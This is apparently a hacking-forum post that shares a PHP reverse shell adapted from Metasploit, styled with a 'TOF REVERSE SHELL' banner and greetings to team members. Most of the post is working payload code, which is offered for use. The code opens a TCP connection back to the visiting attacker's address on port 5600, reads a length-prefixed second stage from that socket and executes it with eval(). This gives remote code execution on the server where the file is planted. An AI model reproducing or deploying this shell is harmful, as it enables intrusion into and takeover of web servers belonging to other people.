PHP Reverse Shell [Edited]

[NOTE : This is not coded by me. The real code is generated by Metasploit. I have Just edited to add some features]
Guyzzz I have edited the PHP reverse shell which generated by Metasploit. I have added feature to find IP Address of attacker automatically. Now it is awesome in working because we don't want change the IP Address in PHP script, if your IP Address is dynamic.

#<?php
$server_ip=$_SERVER['SERVER_ADDR'];
$my_ip=$_SERVER['REMOTE_ADDR'];
$ip = $_SERVER['REMOTE_ADDR'];
$port = 5600;
$ipf = AF_INET;
echo '
<html>
<body bgcolor=black background=http://img54.xooimage.com/files/f/7/2/kbk29185-227a592.gif /><title>Reverse | Shell</title><center>
<style>
.footer { width:910px; border:1px solid red; background-color:black; color: green; -webkit-border-radius: 20px; border-radius: 20px; }
.header { width:910px; border: 2px solid green; background-color:black; color: green; font-size:200%; -webkit-border-radius: 20px; border-radius: 20px; font-family: Algerian; }
.container { width: 910px; border: 2px solid green; background-color: black; color: green; -webkit-border-radius: 5px; border-radius: 5px; }
input { background-color:black; color:green; border: 1px solid green; -webkit-border-radius: 5px; border-radius: 5px; }
</style>';
echo '
<div class="header">
<p>
<--TOF REVERSE SHELL TOF--><br />
<font color=red size=2>'.php_uname().'</font><br />
<font size=3>
Server IP: <font color=red>'.$server_ip.'</font> 
Your IP: <font color=red>'.$my_ip.'</font><br />Ajith Kp</font>
</p>
</div>
';
echo '<br /><div class="footer">
<p>
Team Open Fire<br />2012<br /><br />Greets to:~# Coded32,Indrani Banerjee, Al3x, Evis, John and all unknown buddies<br /><br />Love to:~# Amsteck College, Kalliasseri<br />BCA [Dheeraj, Aswin, Arjun, Vipin, Sharath]<br />BSC [Jhelai, Jitendra, Reshma, Ranjitha]</p>
</div>
<br />';
echo '<div class="container">
 <p>
<font color=red size=4><u>RESULT</u></font></p>
<p>
';
error_reporting(0);
# The payload handler overwrites this with the correct LHOST before sending
# it to the victim.

if (FALSE !== strpos($ip, ":")) {
	# ipv6 requires brackets around the address
	$ip = "[". $ip ."]";
	$ipf = AF_INET6;
}

if (($f = 'stream_socket_client') && is_callable($f)) {
	$s = $f("tcp://{$ip}:{$port}");
	$s_type = 'stream';
} elseif (($f = 'fsockopen') && is_callable($f)) {
	$s = $f($ip, $port);
	$s_type = 'stream';
} elseif (($f = 'socket_create') && is_callable($f)) {
	$s = $f($ipf, SOCK_STREAM, SOL_TCP);
	$res = @socket_connect($s, $ip, $port);
	if (!$res) { die(); }
	$s_type = 'socket';
} else {
	die('no socket funcs');
}
if (!$s) { die('no socket'); }

switch ($s_type) { 
case 'stream': $len = fread($s, 4); break;
case 'socket': $len = socket_read($s, 4); break;
}
if (!$len) {
	# We failed on the main socket.  There's no way to continue, so
	# bail
	die();
}
$a = unpack("Nlen", $len);
$len = $a['len'];

$b = '';
while (strlen($b) < $len) {
	switch ($s_type) { 
	case 'stream': $b .= fread($s, $len-strlen($b)); break;
	case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
	}
}

# Set up the socket for the main stage to use.
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
eval($b);
die();
echo '</p>
</div>
';